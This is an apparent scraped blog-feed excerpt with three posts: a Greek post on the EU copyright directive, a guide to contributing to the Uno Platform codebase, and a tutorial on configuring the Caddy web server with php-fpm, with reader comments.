“παραπληροφόρηση” που οδηγεί σε ¨λανθασμένες ερμηνείες” της Οδηγίας και επιστημονικές προειδοποιήσεις για τους κινδύνους που εγκυμονεί.  Ομως η Οδηγία είναι ξεκάθαρη και δεν αφήνει περιθώρια για παρερμηνείες. Το περιεχόμενο των χρηστών θα πρέπει να φιλτράρεται στην Ευρώπη. Κι όχι μόνον από το YouTube. Κι εδώ ακριβώς είναι το πρόβλημα. Το Ιντερνετ δεν είναι το YouTube. Το Ιντερνετ είμαστε όλοι εμείς οι ενεργητικοί χρήστες, που κυκλοφορούμε, ποστάρουμε, λινκάρουμε και μοιραζόμαστε την πληροφορία με το περιβάλλον μας.  Στην εποχή των αυτόματων φίλτρων, όπως έγραψε το Wired, όλοι εμείς, οι ενεργητικοί χρήστες, είμαστε ένοχοι μέχρι αποδείξεως του εναντίου. Κι όπως απεδείχθη στη Νέα Ζηλανδία, το πρόβλημα του πώς χειριζόμαστε εμείς, οι άνθρωποι, τα εργαλεία που έχουμε στην διάθεσή μας, δεν λύνεται με αυτόματα φίλτρα. Από πλευράς πνευματικών δικαιωμάτων, η ζωντανή μετάδοση της σφαγής ήταν απολύτως νόμιμη.   Αυτές είναι οι αλλαγές που ψηφίστηκαν – Οι διαδικτυακές πλατφόρμες πλέον υπεύθυνες για το περιεχόμενο που αναρτούν οι χρήστες!  – Συγκεκριμένες κατηγορίες διαδικτυακού υλικού, όπως τα «memes» και τα αρχεία GIF, εξαιρούνται από την οδηγία  – Οι σύνδεσμοι προς ειδησεογραφικά άρθρα, οι οποίοι συνοδεύονται από «μεμονωμένες λέξεις ή πολύ σύντομα αποσπάσματα» μπορούν να διαμοιράζονται ελεύθερα  – Οι δημοσιογράφοι θα πρέπει να λαμβάνουν μερίδιο των εσόδων που αποκομίζουν οι εκδότες για τη χρήση δικαιωμάτων πνευματικής ιδιοκτησίας  – Οι νεοφυείς επιχειρήσεις θα υπόκεινται σε ελαφρύτερες υποχρεώσεις  – Οι δημιουργοί και οι δημοσιογράφοι θα μπορούν να διαπραγματευτούν με τους γίγαντες του διαδικτύου χάρη στη συμφωνία, η οποία διασφαλίζει και την ελευθερία της έκφρασης.  Το κείμενο διευκρινίζει επίσης ότι η ανάρτηση έργων σε διαδικτυακές εγκυκλοπαίδειες με μη εμπορικό τρόπο, όπως για παράδειγμα στη Wikipedia, ή πλατφόρμες ανοιχτού («open source») λογισμικού, όπως το GitHub, θα εξαιρούνται αυτόματα. Οι καινοφυείς πλατφόρμες θα υπόκεινται σε ελαφρύτερες υποχρεώσεις από αυτές που θα έχουν οι πιο γνωστές.  Δήλωση του εισηγητή AxelVoss «Αυτή η οδηγία είναι ένα σημαντικό βήμα για την επανόρθωση μιας κατάστασης που έχει επιτρέψει σε ένα μικρό αριθμό εταιρειών να αποκομίσουν τεράστια ποσά χωρίς να ανταμείψουν όπως πρέπει τους χιλιάδες δημιουργούς και δημοσιογράφους στη δουλειά των οποίων στηρίζονται.  Ταυτόχρονα, το κείμενο που υιοθετήθηκε περιέχει μεγάλο αριθμό διατάξεων που εγγυώνται ότι το διαδίκτυο θα παραμείνει χώρος ελεύθερης έκφρασης. Αυτές οι διατάξεις δεν ήταν από μόνες τους αναγκαίες γιατί η οδηγία δε θα δημιουργήσει καινούρια δικαιώματα για τους κατόχους πνευματικών δικαιωμάτων. Αφουγκραστήκαμε ωστόσο τις ανησυχίες που εκφράστηκαν και επιλέξαμε να εγγυηθούμε εκ νέου την ελευθερία της έκφρασης. Tα ‘memes’, τα ‘GIFs’, τα ‘αποκόμματα’ προστατεύονται τώρα περισσότερο από ποτέ.  Είμαι επίσης χαρούμενος που το σημερινό κείμενο της συμφωνίας δίνει ιδιαίτερη σημασία στην προστασία των καινοφυών επιχειρήσεων. Οι κορυφαίες εταιρείες του αύριο είναι οι καινοφυείς επιχειρήσεις του σήμερα και η ποικιλομορφία που χρειαζόμαστε για αυτό στηρίζεται σε μια μεγάλη δεξαμενή καινοτόμων, δυναμικών, νεανικών επιχειρήσεων.  Έχουμε μια οδηγία που προστατεύει το βιοπορισμό των ανθρώπων, διασφαλίζει τη δημοκρατία υπερασπιζόμενη ένα ποικίλο τοπίο μέσων ενημέρωσης, εδραιώνει την ελευθερία της έκφρασης και ενθαρρύνει τις καινοφυείς επιχειρήσεις και την τεχνολογική ανάπτυξη. Βοηθά έτσι να ετοιμάσουμε το διαδίκτυο του μέλλοντος, ένα χώρο που ωφελεί όλους, όχι μόνο λίγους ισχυρούς».  Από Greece-Salonika| Ενημέρωση και Άποψη https://ift.tt/18529iS http://pestogr.blogspot.gr/</text><languageCode>el</languageCode><locationCode>gr</locationCode><coordinates /><links><link>https://3.bp.blogspot.com/-oQhP0i75xMA/XJthiMd9_FI/AAAAAAAEwGk/0yXK-1Vw6_4iZRkxLZyOU4VZcN_79aQ6QCLcBGAs/s1600/eurokoinoboylio_internet_arthro13.jpg</link></links><tags><tag>greece-salonika</tag></tags><images /><indexedAt>2019-03-27T17:35:19Z</indexedAt><publishedAt>2019-03-27T16:32:00Z</publishedAt><reindexedAt>2019-03-27T17:35:19Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>10981533254764127759</blogId><blogName>Πες Το GR</blogName><blogUrl>http://pestogr.blogspot.com</blogUrl><blogRank>2</blogRank><authority>9</authority></post><post><id>13486601791835292732</id><author>Martin Zikmund</author><url>https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/</url><title>Contributing to the Uno Platform (part 1)</title><text>As I mentioned in a previous article, I love what the Uno Platform is doing – bringing Universal Windows Platform to all platforms. I wanted to help out by contributing to the codebase on GitHub, and because I know it can be intimidating to start working on a large project like this, I would like to share with you the steps I took to get my first Pull Request to review in a series of blog posts. 
 
In this part, we cover the basics – review how Uno fits into the world of cross-platform frameworks, build Uno.UI on our local machine, familiarize ourselves with the codebase and choose an issue to work on. 
Uno 101
Before we contribute, we must understand the philosophy of the Uno Platform. There is a number of cross-platform frameworks available. I will blissfully ignore JavaScript based ones and focus on C# scene. We start with Xamarin.Forms and Avalonia UI as examples and then discuss how does the Uno Platform differs from them. 
Xamarin.Forms has its own XAML dialect and ecosystem of custom controls and tooling. The framework uses native platform controls in the background utilizing a system of so-called renderers. This strategy unfortunately leads to the fact that the features the controls provide are usually the lowest common denominator of what all the platforms offer. Besides the fact that the XAML dialect is different in some aspects may be confusing for developers coming from the WPF and UWP ecosystem. Xamarin.Forms community is very active, however, and there are numerous libraries with custom controls, so when you need something which is not built-in yet, you can likely find it on GitHub. 
Avalonia UI also uses a custom XAML dialect based on WPF. In case of controls, the method is completely orthogonal to Xamarin.Forms – it opts to prefer custom rendering of controls. While this ensures the same UI everywhere, the complete lack of native feeling of the controls can be confusing to users. 
The Uno Platform way
Uno Platform chooses the UWP XAML dialect not just as a starting point, but with 100% compatibility – including all excellent features like AdaptiveTriggers and control templates. Thanks to the compatibility developers can build against UWP and have access to all the tooling Visual Studio provides. It also uses native controls underneath, which ensures the user experience feels native. In contrast with Xamarin.Forms, the visual look of the controls is fully customizable with the goal of providing a pixel-perfect UI. 
Now, Uno does not stop there. It recognizes another painful area of building cross-platform apps – platform-specific APIs (like working with hardware). Instead of having to write platform-specific code yourself, you can use “native” Windows APIs like Geolocator, Launcher and more, which are implemented by Uno Platform and call the native platform APIs underneath. The great thing about this is the fact that once you know UWP, you can confidently write a lot of code without having to think about platform differences and resort to platform-specific code only when Uno does not yet cover the API you need to use. 
Creating an Uno App
Let’s create a new project using Uno. As a prerequisite, we must first install the Uno Platform Solution Templates extension via Tools – Extensions and Updates (VS 2017) or Extensions – Manage Extensions (VS 2019). 
&lt;img data-attachment-id="1726" data-permalink="https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/unotemplates/" data-orig-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/UnoTemplates.png?fit=939%2C300&amp;ssl=1" data-orig-size="939,300" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="Uno Platform Solution Templates" data-image-description="Uno Platform Solution Templates 
" data-medium-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/UnoTemplates.png?fit=300%2C96&amp;ssl=1" data-large-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/UnoTemplates.png?fit=688%2C220&amp;ssl=1" class="size-full wp-image-1726" src="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/UnoTemplates.png?resize=688%2C220&amp;ssl=1" alt="Uno Platform Solution Templates" width="688" height="220" srcset="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/UnoTemplates.png?w=939&amp;ssl=1 939w, https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/UnoTemplates.png?resize=300%2C96&amp;ssl=1 300w, https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/UnoTemplates.png?resize=768%2C245&amp;ssl=1 768w" sizes="(max-width: 688px) 100vw, 688px" data-recalc-dims="1" /&gt; Uno Platform Solution Templates
After we have it installed, we fire up File – New Project and choose Cross-Platform Uno App template: 
&lt;img data-attachment-id="1727" data-permalink="https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/newunoproject/" data-orig-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/NewUnoProject.png?fit=955%2C246&amp;ssl=1" data-orig-size="955,246" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="Creating a new Uno App" data-image-description="Creating a new Uno App 
" data-medium-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/NewUnoProject.png?fit=300%2C77&amp;ssl=1" data-large-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/NewUnoProject.png?fit=688%2C177&amp;ssl=1" class="size-full wp-image-1727" src="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/NewUnoProject.png?resize=688%2C177&amp;ssl=1" alt="Creating a new Uno App" width="688" height="177" srcset="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/NewUnoProject.png?w=955&amp;ssl=1 955w, https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/NewUnoProject.png?resize=300%2C77&amp;ssl=1 300w, https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/NewUnoProject.png?resize=768%2C198&amp;ssl=1 768w" sizes="(max-width: 688px) 100vw, 688px" data-recalc-dims="1" /&gt; Creating a new Uno App
The result is a set of platform projects and one shared project referenced by all of them. The platform projects contain only the bare minimum required to make the platform app run, and the application logic and UI resides in the shared project: 
&lt;img data-attachment-id="1728" data-permalink="https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/sharedunoproject/" data-orig-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SharedUnoProject.png?fit=154%2C93&amp;ssl=1" data-orig-size="154,93" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="Shared Uno project" data-image-description="Shared Uno project 
" data-medium-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SharedUnoProject.png?fit=154%2C93&amp;ssl=1" data-large-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SharedUnoProject.png?fit=154%2C93&amp;ssl=1" class="size-full wp-image-1728" src="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SharedUnoProject.png?resize=154%2C93&amp;ssl=1" alt="Shared Uno project" width="154" height="93" data-recalc-dims="1" /&gt; Shared Uno project
In the shared project you can find the App.xaml and MainPage.xaml files you would expect from a blank UWP app. Now, Shared projects are basically “packages of files” which are added to the project that references them before it is compiled. It is not a reference in the sense you would reference a DLL, and hence a Shared project cannot work on its own. The APIs it has access to are determined by the project that references it. 
The Android, iOS, and WASM projects all reference the Uno.UI NuGet package, which provides the Windows namespaces including controls and custom Uno implementations of many UWP APIs. 
The UWP project is a bit different – it does not reference Uno.UI at all. The simple reason for that is there is no need to – UWP already has all the Windows namespaces out-of-the-box. When the Shared project is referenced by UWP project, every reference to Windows namespace refers the native UWP APIs. This is exceptional because we are never limited – if there is a missing functionality in Uno, it will still work 100% in the UWP project without any issues. Besides, this means we can build apps against UWP project head first, utilizing all the latest and greatest tooling included in Visual Studio including Designer, XAML Live Edit &amp; Continue, etc. 
Building Uno.UI
Let’s dig into the Uno code repository, shall we? 
We start by forking the Uno repository and cloning it locally. The very first step is getting Uno.UI solution to build. 
There are some prerequisites which you need to have installed so that Visual Studio can successfully build Uno. Luckily that has been documented recently in the Docs, so you can just follow the instructions to install everything. 
Build failed for me the first time, because for some reason the Uno.UI.BindingHelper.Android project failed to build and I had to rebuild it alone first and then build the whole solution again. If you run into additional problems, be sure to ask on the Uno Platform Gitter the team is very responsive and helpful! 
&lt;img data-attachment-id="1722" data-permalink="https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/samplesapp/" data-orig-file="https://i2.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SamplesApp.png?fit=285%2C142&amp;ssl=1" data-orig-size="285,142" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="The Samples App" data-image-description="The Samples App 
" data-medium-file="https://i2.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SamplesApp.png?fit=285%2C142&amp;ssl=1" data-large-file="https://i2.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SamplesApp.png?fit=285%2C142&amp;ssl=1" class="size-full wp-image-1722" src="https://i2.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/SamplesApp.png?resize=285%2C142&amp;ssl=1" alt="The Samples App" width="285" height="142" data-recalc-dims="1" /&gt; Sample app projects
To test everything is working properly it is best to try running the SamplesApp. There is a project for each supported platform and one Shared Project. I suggest running Android or iOS, as those have the largest API support apart from UWP, which however uses the native UWP APIs under the hood so it is not really the best way to verify everything is up and running on your dev environment. 
&lt;img data-attachment-id="1723" data-permalink="https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/20190326_151406000_ios/" data-orig-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?fit=2208%2C1242&amp;ssl=1" data-orig-size="2208,1242" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="Sample app up and running on iPhone" data-image-description="Sample app up and running on iPhone 
" data-medium-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?fit=300%2C169&amp;ssl=1" data-large-file="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?fit=688%2C387&amp;ssl=1" class="size-large wp-image-1723" src="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?resize=688%2C387&amp;ssl=1" alt="Sample app up and running on iPhone" width="688" height="387" srcset="https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?resize=1024%2C576&amp;ssl=1 1024w, https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?resize=300%2C169&amp;ssl=1 300w, https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?resize=1600%2C900&amp;ssl=1 1600w, https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?w=1376&amp;ssl=1 1376w, https://i0.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/20190326_151406000_iOS.png?w=2064&amp;ssl=1 2064w" sizes="(max-width: 688px) 100vw, 688px" data-recalc-dims="1" /&gt; Sample app up and running on iPhone
  
Understanding the codebase
We can start with a birds-eye look at the solution as a whole. Here is it’s root folder structure: 
&lt;img data-attachment-id="1724" data-permalink="https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/solution/" data-orig-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/Solution.png?fit=191%2C145&amp;ssl=1" data-orig-size="191,145" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="Root of Uno.UI" data-image-description="Root of Uno.UI 
" data-medium-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/Solution.png?fit=191%2C145&amp;ssl=1" data-large-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/Solution.png?fit=191%2C145&amp;ssl=1" class="size-full wp-image-1724" src="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/Solution.png?resize=191%2C145&amp;ssl=1" alt="Root of Uno.UI" width="191" height="145" data-recalc-dims="1" /&gt; Root of Uno.UI
Let’s look at each folder in turn: 

_Build – contains Uno.UI.Build project with scripts, nuspec and other resources used for building Uno
Addins – currently contains Uno.UI.Lottie project, which provides experimental Lottie animations support
SamplesApp – contains sample applications for all supported platforms (wich also serve as source for UI tests)
SolutionTemplate – template for File -&gt; New Project experience you get when you install the Uno extension in Visual Studio
Tools – various tools and generators
Uno.UI – the main Uno projects, including Uno and Uno.UI projects where most of the magic happens
Uno.Xaml – the Uno XAML implementation, matching UWP XAML

You may have noticed that there almost no “platform specifc” projects – there are just Uno and Uno.UI projects. How does it work then? Uno uses multi-targeting. When we open the Uno.csproj, we find the following: 


The  element lists the platforms Uno targets. There are some default references common to all frameworks and then some platform-specific ones: 


In this example snippet the Condition attribute ensures that the references get included only when compiled against the MonoAndroid80 platform. 
So that’s it for references, but what about source code? You can notice yet another interesting element in the .csproj: 


This props file defines compilation constants for individual platforms: 


Simpler features can be implemented using these compiler constants. Windows.System.Launcher implementation is a great example: 


Based on the compilation constant, the appropriate platform-specifc code is executed. 
Uno.CrossTargetting.props also references another PlatformItemGroups.props file, which makes sure that for specific platforms only a subset of source code files are included for compilation based on a special suffix of the file name: 


For example the files implementing the Windows.Graphics.Display.BrightnessOverride API are: 

BrightnessOverride.cs – common logic, shared by all platforms
BrightnessOverride.iOS.cs – iOS specific
BrightnessOverride.Android.cs – Android specific
BrightnessOverride.wasm.cs – WASM specific

  
Choosing an issue
There are always many active issues to choose from in the Issues section of Uno GitHub repo including bugs, feature requests and improvement suggestions. If you are not sure about the difficulty, you can always ask on Gitter and you will definitely be suggested a good first contribution issue. 
I got my issue suggestion from the amazing Uno architect Jérôme Laban himself, and you can find it here. 
&lt;img data-attachment-id="1721" data-permalink="https://blog.mzikmund.com/2019/03/contributing-to-the-uno-platform-part-1/issueinfo/" data-orig-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/IssueInfo.png?fit=630%2C128&amp;ssl=1" data-orig-size="630,128" data-comments-opened="1" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="A nice isolated feature is great for first contribution" data-image-description="A nice isolated feature is great for first contribution 
" data-medium-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/IssueInfo.png?fit=300%2C61&amp;ssl=1" data-large-file="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/IssueInfo.png?fit=630%2C128&amp;ssl=1" class="wp-image-1721 size-full" src="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/IssueInfo.png?resize=630%2C128&amp;ssl=1" alt="A nice isolated feature is great for first contribution" width="630" height="128" srcset="https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/IssueInfo.png?w=630&amp;ssl=1 630w, https://i1.wp.com/blog.mzikmund.com/wp-content/uploads/2019/03/IssueInfo.png?resize=300%2C61&amp;ssl=1 300w" sizes="(max-width: 630px) 100vw, 630px" data-recalc-dims="1" /&gt; A nice isolated feature is great for the first contribution
Summary
In this part of our first Uno contribution adventure, we have done all the basics. We learned how it all fits together and chose an issue to work on. In the next article I will focus on how I approached implementing the DisplayInformation class properties for Android and iOS.</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://www.platform.uno/</link><link>https://www.github.com/nventive/Uno</link><link>https://www.github.com/nventive/Uno/pull/711</link><link>https://www.github.com/xamarin/Xamarin.Forms</link><link>http://www.avaloniaui.net/</link><link>https://www.platform.uno/</link><link>https://www.github.com/nventive/Uno/blob/master/doc/articles/debugging-uno-ui.md</link><link>https://www.gitter.im/uno-platform/Lobby</link><link>https://www.github.com/nventive/Uno/issues</link><link>https://www.gitter.im/uno-platform/Lobby</link><link>https://www.github.com/jeromelaban</link><link>https://www.github.com/nventive/Uno/issues/385</link><link>https://www.addtoany.com/add_to/facebook?linkurl=https:%2F%2Fblog.mzikmund.com%2F2019%2F03%2Fcontributing-to-the-uno-platform-part-1%2F&amp;linkname=Contributing to the Uno Platform (part 1)</link><link>https://www.addtoany.com/add_to/twitter?linkurl=https:%2F%2Fblog.mzikmund.com%2F2019%2F03%2Fcontributing-to-the-uno-platform-part-1%2F&amp;linkname=Contributing to the Uno Platform (part 1)</link><link>https://www.addtoany.com/add_to/email?linkurl=https:%2F%2Fblog.mzikmund.com%2F2019%2F03%2Fcontributing-to-the-uno-platform-part-1%2F&amp;linkname=Contributing to the Uno Platform (part 1)</link><link>https://www.addtoany.com/share#url=https:%2F%2Fblog.mzikmund.com%2F2019%2F03%2Fcontributing-to-the-uno-platform-part-1%2F&amp;title=Contributing to the Uno Platform (part 1)</link></links><tags><tag>WinRT &amp; Universal Windows Platform</tag><tag>XAML</tag><tag>displayinformation</tag><tag>uno platform</tag><tag>UWP</tag></tags><images /><indexedAt>2019-03-27T16:31:20Z</indexedAt><publishedAt>2019-03-27T16:30:29Z</publishedAt><reindexedAt>2019-03-27T16:31:20Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>2834258973408724931</blogId><blogName>Martin Zikmund</blogName><blogUrl>https://blog.mzikmund.com</blogUrl><blogRank>1</blogRank><authority>3</authority></post><post><id>3374529508957291858</id><author>Rishi Mathur</author><url>https://jixee.me/how-to-setup-the-caddy-web-server-with-php-fpm/</url><title>How to Setup the Caddy Web Server with php-fpm</title><text>A month ago I wrote about an exciting open source project called Caddy. In case you missed it, you can catch it here. The project offers a lightweight, powerful web server aimed at lowering the technical barrier to entry for just about anyone wanting to serve content from a self hosted web server. In this post I want to cover how to setup the Caddy web server to serve PHP pages. I’ll be configuring Caddy to use php-fpm. I encourage you to follow along in your own dev environment. 
  
Requirements: 
Ubuntu 14.04 
curl 
php-fpm 
Caddy web server binary (download) 
  
Let’s begin. 
  
Open a terminal on your Ubuntu 14.04 server or desktop and install php, php-fpm, and curl: 
sudo apt-get install php5-fpm php5-cli curl
Once you’ve downloaded the Caddy binary, extract it: 
sudo mkdir /opt/caddy-server; sudo tar xvzf caddy_linux_amd64_custom.tar.gz -C /opt/caddy-server
Create the docroot we’ll be using for this example, and give yourself perms to write to it: 
sudo mkdir /opt/caddywww; sudo chown `whoami` /opt/caddywww
Now let’s make a Caddyfile. A Caddyfile is Caddy’s configuration file. We’ll create this file: 
/etc/Caddyfile
With this text: 
:80
tls off
root /opt/caddywww
gzip
log /var/log/caddyaccess.log
errors /var/log/caddyerror.log
fastcgi / /var/run/php5-fpm.sock php

  
If you’re used to configuring Nginx or Apache, the format of this file will look unfamiliar. Once you’ve configured a few options in a Caddyfile, you’ll get the hang of it pretty fast. The documentation makes it easy to reference the functionality you’re looking for. Let’s sidetrack for a minute, and discuss the Caddyfile and each of the directives, to briefly explain what they mean. 
This line tells Caddy to answer on port 80, no matter how it’s called. 
:80 
If you want to lock it to a virtual host definition you would simply change this to the following, which will tell Caddy to only answer if port 80 was accessed using example.com. Any other request using a different hostname would receive an error from Caddy. 
example.com:80 
The following tells Caddy to disable serving sites over TLS. I’m putting this here, because Caddy will automatically setup a certificate with Let’s Encrypt if you use a valid and registered domain name for your site. This is a very cool feature, but for the purposes of this demo, I’m leaving it out. I’ll cover this on a future blog post. 
[ UPDATE: Matt (author of Caddy) has pointed out that since we are explicitly defining port 80, we don’t actually need this, but we can leave it in to be explicit. ] 
tls off 
This is the docroot where our php and html files will go: 
root /opt/caddywww 
This tells Caddy to enable gzip compression with default values. You can set more specific options, like file types or compression level, but for this example, default settings are fine: 
gzip 
Set your access log: 
log /var/log/caddyaccess.log 
Set your error log: 
errors /var/log/caddyerror.log 
This tells Caddy how to talk to your php5-fpm service. First it directs all requests from the root of your site to the php-fpm socket using the php preset: 
fastcgi / /var/run/php5-fpm.sock php 
If you need to configure your php settings with more granularity, you can use the fastcgi directive in the following way. The breakdown for each option is: If the requested file has the .php extension use fastcgi proxy(ext), store anything after .php in the PATH_INFO CGI variable(split), and check for index.php if no file is specified in the URL(index). These are also the default settings for the php preset. 
fastcgi / /var/run/php5-fpm.sock {
    ext 	.php
    split	.php
    index	index.php
}

  
The Caddyfile, while simple in syntax, can also provide advanced features. One useful feature is the ability to describe virtual hosts. A very simple example of defining two virtual hosts in a Caddyfile would be like this: 
myfirstsite.com:80 {
     root /www/myfirstsite.com
     gzip
     tls off
}

mysecondsite.com:80 {
    root /www/mysecondsite.com
    gzip
    tls off
}

  
Alright let’s get back to the task at hand. At this point we should configure some php items. We’ll leave the default config for php5-fpm alone, but for convenience let’s make sure short_open_tag is set to On in the PHP config. You’ll edit the following file to make that change: 
/etc/php5/fpm/php.ini
Line 212 reads: 
short_open_tag = Off
Change it to: 
short_open_tag = On
Now let’s restart php-fpm*: 
sudo restart php5-fpm
*this should already be started, restarting should grab the new php.ini changes. 
Alright, time to start Caddy: 
sudo /opt/caddy-server/caddy -conf="/etc/Caddyfile"
You should see: 
Activating privacy features... done.
:80
**On a fresh system you may get this error message: 
Warning: File descriptor limit 1024 is too low for production sites. At least 4096 is recommended. Set with "ulimit -n 4096".
You can either run that command, or just leave it. For this example, it’s fine. If you’re running this in production, of course you’ll want to increase the file descriptor limit. 
Now let’s leave that terminal alone, start a new one, and create a small file in our docroot to make sure PHP is working. Create: 
/opt/caddywww/index.php
With: 


I threw the new line in there at the end so that when you use curl to request this page, you’ll get a clean prompt back. 
Now run it: 
curl localhost:80
You should see: 
PHP version: 5.5.9-1ubuntu4.14
And if it worked, congrats, you’ve just setup Caddy with PHP support! Not bad huh? When I attempted this, it worked on my first try. How many of you have had that happen the first time you tried setting up php-fpm with Apache or Nginx? Caddy makes it easier for sure. 
Thanks for reading! 
[ UPDATE: For those of you who want a simple init.d script to start Caddy so it runs in the background, I’ve added one here: https://github.com/nortone/caddythings. 
Also, Caddy has released a PHP-FPM FastCGI troubleshooting page here in case you have any issues: https://github.com/mholt/caddy/wiki/Troubleshooting-PHP-FPM-and-FastCGI ] 







 https://twitter.com/mholt6 Matt 


Hi! Author of Caddy here. Nice tutorial. A few things to note that should make it even simpler: 
– The fastcgi directive has a php “preset” that sets those extra properties for you. So you can replace those lines with one line: fastcgi / /var/run/php5-fpm.sock php – see fastcgi docs for more details. 
– Since you explicitly define port 80 in the address, you don’t need tls off (but you can leave it if you want to be explicit). 
-There’s a new PHP &amp; FastCGI troubleshooting guide here: https://github.com/mholt/caddy/wiki/Troubleshooting-PHP-FPM-and-FastCGI – check it out if you have any problems! 
-If you have a working setup with a popular PHP application, feel free to share your simple tutorial in the caddyserver/examples repository. 




 http://shad.me Shad Mickelberry 


Thanks for the post and thanks for your added comment Matt. I was playing around with replacing Apache with Caddy using fastcgi and I was unsure about the virtual hosts. Once question if you don’t mind… If setting up a remote server is there anything you need to do to keep Caddy running when the terminal connection is shut off? Thanks again. 




 http://depado.markdownblog.com Depado 


There are multiple ways to keep a process running when the connection is closed. I wrote an article on how to do that http://depado.markdownblog.com/2015-12-07-setting-up-caddy-server-on-debian. I personnaly use supervisor to do so. But you can also start caddy in a tmux or a screen process, or even “nohup caddy&amp;” I guess. 




 Eric 


Hi Shad, I added an init.d script here so you can run Caddy in the background: https://github.com/nortone/caddythings/ ,as @Depado:disqus mentions, supervisor is a good choice too. 






 Eric 


Thank you for the feedback Matt, and thank you for Caddy! I’ve updated my post to reflect those good bits of knowledge. 








